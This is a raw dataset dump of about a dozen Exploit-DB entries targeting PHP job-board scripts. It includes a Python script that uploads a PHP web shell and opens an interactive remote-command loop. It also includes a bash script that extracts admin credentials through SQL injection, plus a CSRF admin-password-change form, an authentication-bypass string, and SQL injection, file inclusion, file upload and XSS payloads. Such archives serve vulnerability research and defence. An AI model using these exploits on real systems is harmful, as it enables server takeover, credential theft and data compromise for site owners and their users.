deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47881
Description: Job Portal 1.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2020-01-07
Author: Tib3rius

Exploit:
# Exploit Title: Job Portal 1.0 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-01-03
# Exploit Author: Tib3rius
# Vendor Homepage: https://phpgurukul.com/job-portal-project/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7855
# Version: 1.0
# Tested on: Ubuntu 16.04
# CVE: N/A

import argparse
import random
import requests
import string
import sys

parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()

url = args.url.rstrip('/')
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'

file = {'file': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/admin/gallery.php', files=file, data={'submit':'1'}, verify=False)
print('> Verifying shell upload...')
r = requests.get(url + '/admin/uploadimg/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)

if random_file in r.text:
    print('> Web shell uploaded to ' + url + '/admin/uploadimg/' + random_file + '.php')
    print('> Example command usage: ' + url + '/admin/uploadimg/' + random_file + '.php?cmd=whoami')
    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
    if launch_shell.lower() == 'y':
        while True:
            cmd = str(input('RCE $ '))
            if cmd == 'exit':
                sys.exit(0)
            r = requests.get(url + '/admin/uploadimg/' + random_file + '.php', params={'cmd':cmd}, verify=False)
            print(r.text)
else:
    if r.status_code == 200:
        print('> Web shell uploaded to ' + url + '/admin/uploadimg/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
    else:
        print('> Web shell failed to upload! The web server may not have write permissions.')
Exploit-DB #46622
Description: Job Portal 3.1 - 'job_submit' SQL Injection
Type: webapps
Platform: php
Date: 2019-03-28
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: NewJobPortal v3.1 - 'job_submit' SQL Inj.
# Dork: N/A
# Date: 25-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://codecanyon.net/item/job-portal/15330095
# Version: v3.1
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Job portal is developed for creating an interactive
job vacancy for candidates.
  This web application is to be conceived in its current form as a dynamic
site-requiring constant
  updates both from the seekers as well as the companies.
===========================================================================================
# POC - SQLi
# Parameters : job_submit
# Attack Pattern : convert(int%2c+cast(0x454d49524f474c55+as+varchar(8000)))
# POST Method : http://localhost/newjobportal/job_search/search
===========================================================================================
Exploit-DB #8639
Description: Job Script 2.0 - Arbitrary Change Admin Password
Type: webapps
Platform: php
Date: 2009-05-07
Author: TiGeR-Dz

Exploit:
<head>
    <title>Job Script V2.0 - Job Board Software change pasword admin </title>
 
</head>
    </head>

<body>




<div id="page">
   
      <div id="middle">
          <div class="center">
 
<table width=100% cellspacing=15>
<tr>
    <td width="223"><b>admin :</b></td><td>admin@admin.com</td>
</tr>
</table>

<body>




<div id="page">
   
      <div id="middle">
          <div class="center">
 
<table width=100% cellspacing=15>
<tr><td valign=top>


<b><i>Change password</i></b><br />
<br />





<form action=http://www.jobscriptdemo.com/admin/changepassword.php METHOD=POST>
<input type=password name=password>

<input type=submit name=submit value="Change Password">
</form>
 
</td>
</tr>
</table>





          </div>
     </div>
     <div class="clear"></div>
     
     
</div>
</body>
</html>
     






          <p>&nbsp;<p><font size="5">Cod[3]d By:TiGeR-dZ</font></div>
     </div>
     <div class="clear"></div>
     
     
</div>
<p><font size="5"> ;Script:<font color="#FF0000">Job Script V2.0 - Job Board Software</font></font></p>
<p><font size="5">Download</font><font size="5">:</font><a href="http://www.jobscript.net/job-board-software/"><font size="5">http://www.jobscript.net/job-board-software/</font></a></p>
<p><font size="5">Mail:<font color="#FF0000">Tiger-dz@live.com</font></font></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</body>
</html>

# milw0rm.com [2009-05-07]
Exploit-DB #13978
Description: Job Search Engine Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Job Search Engine Script SQL Injection
Vendor url:http://www.2daybiz.com/
Version:1
Price:250$
Published: 2010-06-22
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, M4n0j, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team , Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

2daybiz job search engine script eliminates your worry about searching for an employer. Our search engine software is an extensive and powerful script written in PHP that launches your own jobs search portal. Code: PHP 5.0 

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/jobsearchengine/show_search_result.php?keyword=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #13969
Description: Job Search Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Job Search SQL Injection
Vendor url:http://getaphpsite.com
Version:1
Price:20$
Published: 2010-06-22
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, M4n0j, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team , Andhrahackers.com
Shoutzz:- To all ICW members.
‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

Our career website is a powerful, yet easy to use and moderate career seeker/employer posting website. This site offers paid and free services designed to bring together employers and career seekers.
How it works

The career site offer two levels of revenue generation. Paid postings and advertising.

Employers can choose between account plans to post careers, that applicants can apply for. Employers receive instant notification of applications that are printable from the employers browser, plus employers can search resumes to find applicants for all their employee needs.

For career seekers, membership is free. One the site career seekers can create a free resume that can be submitted for career postings by employers, plus searchable by employers.

The career site also includes a rotating banner management system that is easily moderated from the admin area.

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/jobsearch/content.php?topic=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #31418
Description: Job Site 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-02-05
Author: AtT4CKxT3rR0r1ST

Exploit:
Jobsite logo  - Multiple Vulnerabilties
===================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://sourceforge.net/projects/jobfinder/
####################################################################
VULNERABILITY
##############
/includes/reg.php (line 4-28)

$user=addslashes($_POST['user']);
    $pass=addslashes($_POST['user_password']);
    $email=$_POST['email'];
    $pass2=addslashes($_POST['user_password2']);
    $firstname=addslashes($_POST['firstname']);
    $lastname=addslashes($_POST['lastname']);
    $middlename=addslashes($_POST['middlename']);
    $title=addslashes($_POST['title']);
    $address=addslashes($_POST['address']);
    $city=addslashes($_POST['city']);

    if(isset($user) && isset($pass))
    {


    $email=addslashes($email);
    if($pass2!=$pass)
    {
        echo "<script type='text/javascript'>javascript:alert('Passwords
doesnt match.');</script>";
        exit;
    }
    $connection = new db();
    $connection->connect();

       $result = mysql_query("SELECT username FROM mobagi_".$title." WHERE
username='".$user."' ")or die (mysql_error());


#########
EXPLOIT
#########

[1] Post Sql Injection
======================

Note: enter the registration page[register.php] and register there , then
take the post code


POST /jobs/includes/reg.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/jobs/register.php
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

title=[SQL
INJECTION]&firstname=&middlename=&lastname=&address=&city=&user=&user_password=&user_password2=&email=&Submit=Register



[2] Post Cross Site Scripting
===============================

POST /jobs/includes/reg.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/jobs/register.php
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

title=<script>alert(document.cookie);</script>&firstname=&middlename=&lastname=&address=&city=&user=&user_password=&user_password2=&email=&Submit=Register


####################################################################
Exploit-DB #41136
Description: Job Site PHP Script 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-20
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: ICJobSite-Job Site PHP Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/jobs-site-script.htm
# Demo: http://icloudcenter.net/demos/icjobsite/
# Version: 1.1
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/index.php?admin=login and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #41124
Description: Job Vacancy Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-19
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Job Vacancy Script
# Script Buy Now: http://www.scriptfolder.com/scriptfolder-job-bank-job-vacancy-script/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
Exploit-DB #8442
Description: Job2C - 'conf.inc' Configuration File Disclosure
Type: webapps
Platform: php
Date: 2009-04-15
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: Job2C

<<->> download :: http://www.w2b.ru/download/Job2C.zip
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> Exploit :: Remote Config File Disclosure
 
                >>> http://www.cyb3r.1st/ [path] /conf/conf.inc

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , all muslims , [ www.tryag.com ] , [ www.7rs.org ] , [ sec-code.com ] , hackteach, and all arabic sites

# milw0rm.com [2009-04-15]
Exploit-DB #8443
Description: Job2C 4.2 - 'adtype' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-15
Author: ZoRLu

Exploit:
[~] Job2C version 4.2 (adtype) MulTiple LFi
[~]
[~] Script: http://www.w2b.ru/download/Job2C.zip
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 15.04.2009
[~]
[~] Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com 
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: Herkes Hecker Olmus :S yav siktirin gidin mal mal gelip msn de konusmayIn :S Herkes Ustune AlInmasIn anlayan anladI :S
[~]
[~] N0T: if you wanna learn hack you must be register to my site yildirimordulari.com
[~] -----------------------------------------------------------

file: 

windetail.php

err0r c0de:

$adtype=$_REQUEST["adtype"];
$id=$_REQUEST["id"];                 ( err0r c0de 1 )
$title=$_REQUEST["title"];

	winHead($title);
	include("lib/".$adtype.".inc");    ( err0r c0de 2 )
	
exp 1:
	
yildirimordulari.com/script/windetail.php?adtype=LFÃ%00

file:

detail.php

err0r c0de:

$mode=$_REQUEST["mode"];
$adtype=$_REQUEST["adtype"];         ( err0r c0de 1 )
$id=$_REQUEST["id"];
$auth=$_SESSION["auth"];
include("conf/conf.inc");
include("lib/lib.inc");
include("lib/addlib.inc");
include("templates/header.inc");
if(!$adtype)$adtype="res";

	include("lib/".$adtype.".inc");    ( err0r c0de 1 )	
	

exp 2:

yildirimordulari.com/script/detail.php?adtype=LFÃ%00


[~] ----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone & stack
[~]
[~] yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com
[~]
[~] ----------------------------------------------------------------------

# milw0rm.com [2009-04-15]
Exploit-DB #8436
Description: Job2C 4.2 - 'profile' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-04-15
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: Job2C version 4.2 

<<->> download :: http://www.w2b.ru/download/Job2C.zip
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================

<<->> Exploit :: 
 
                >>> step 1 :: register in site ... and login 
                >>> step 2 :: goto ur profil and upload ur shell ( shell.php) 
                >>> ur shell will here ... ( www.site.com/path/photoes/number_shell.php

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , all muslims , [ www.tryag.com ] , [ www.7rs.org ] , [ sec-code.com ] , hackteach, and all arabic sites

<<->> special greetz to His0k4 >> ( translate this if u can essa7 emba7 emboo ) if u can i will translate ur she3ar

# milw0rm.com [2009-04-15]
Exploit-DB #15804
Description: jobappr 1.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-21
Author: giudinvx

Exploit:
=======================================
JobAppr <= 1.4 Multiple Vulnerabilities
=======================================

Author___: giudinvx
Email____: <giudinvx[at]gmail[dot]com>
Date_____: 21/12/2010
Site_____: http://www.giudinvx.altervista.org/
--------------------------------------------------------
Application Info:
JobAppr is a simple job board software for every category
Version 1.4http://www.jobappr.com/
--------------------------------------------------------

[+] CSRF
<form action="[jobappr_path]/admin/profile.php" method="post" id="account">
<input type="hidden" value="1" name="role_id">
<input type="text" value="" name="first_name"><em>First</em><br/>
<input type="text" value="" name="last_name"><em>Last</em><br/>
<input type="text" value="" name="email"><em>email</em><br/>
<input type="text" value="" name="username"><em>username</em><br/>
<input type="password" value="" name="password"><em>Password</em><br/>
<input type="password" value="" name="password_confirm"><em>Confirm
password</em><br/>
<input type="submit" value="Update Your Profile" name="submit"
class="submit"></td>
</form>

[+] Sql Injection
Vulnerable code: post.php
91:   mysql_query("UPDATE ". TB_JOBS ."	SET
logo='".clean($logo_url)."' WHERE form_id='".$_POST['form_id']."'");

For exploit this vulnerability you have need to set up some POST variables.
title=1&categor=1&location=1&description=1&apply=1&company=1&website=www.localhost.com&email=localhost@www.com&highlight=1&form_id=[Sql_Injection_here]

[+] Arbitrary File Upload
Vulnerable code: post.php
48: $ext = strtolower(substr($_FILES["logo"]["name"],
strrpos($_FILES["logo"]["name"], '.') + 1));

50:   # check to see if it's an image file based on it's extention
51:   if ($ext != 'jpg' && $ext != 'jpeg' && $ext != 'gif' && $ext != 'png' ) {
52:   	$errors = true; $err_logo = 'Invalid logo file type (jpg, gif,
png accepted)<br />';

You can upload a shell with an extension jpg,jpeg,gif or png, and
after find them in /logos path.
Also for this exploit this vulnerability have need to set up POST vars above.

[+] XSS
post.php page have also this vulnerability, you can exploit this with
above post vars.
Exploit-DB #47314
Description: Jobberbase 2.0 - 'subscribe' SQL Injection
Type: webapps
Platform: php
Date: 2019-08-29
Author: Damian Ebelties

Exploit:
#!/bin/bash
# Exploit Title: Jobberbase 2.0 - 'subscribe' SQL injection
# Date: 29 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: http://www.jobberbase.com/
# Version: 2.0
# Tested on: Ubuntu 18.04.1

: '

    The page "/subscribe/" is vulnerable for SQL injection.

    Simply make a POST request to /subscribe/ with the parameters:
     - email=jobber@zerodays.lol
     - category=1337<inject_here>

    You can use this script to verify if YOUR OWN instance is vulnerable.

    $ bash verify.sh http://localhost/jobberbase/
    admin:1a1dc91c907325c69271ddf0c944bc72

'

: 'Fetch the username'
USERNAME=$(curl -s "$1/subscribe/" \
                -d "email=jobber@zerodays.lol" \
                -d "category=-1337 and updatexml(0,concat(0x0a,(select username from admin limit 0,1),0x0a),0)-- -" \
                -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")

: 'Ugly way to fetch the password hash'
PASS=$(curl -s "$1/subscribe/" \
            -d "email=jobber@zerodays.lol" \
            -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,1,16) from admin limit 0,1),0x0a),0)-- -" \
            -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
WORD=$(curl -s "$1/subscribe/" \
            -d "email=jobber@zerodays.lol" \
            -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,17,16) from admin limit 0,1),0x0a),0)-- -" \
            -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")

: 'Print the user:hash (note: default login is admin:admin)'
echo -e "$USERNAME:$PASS$WORD"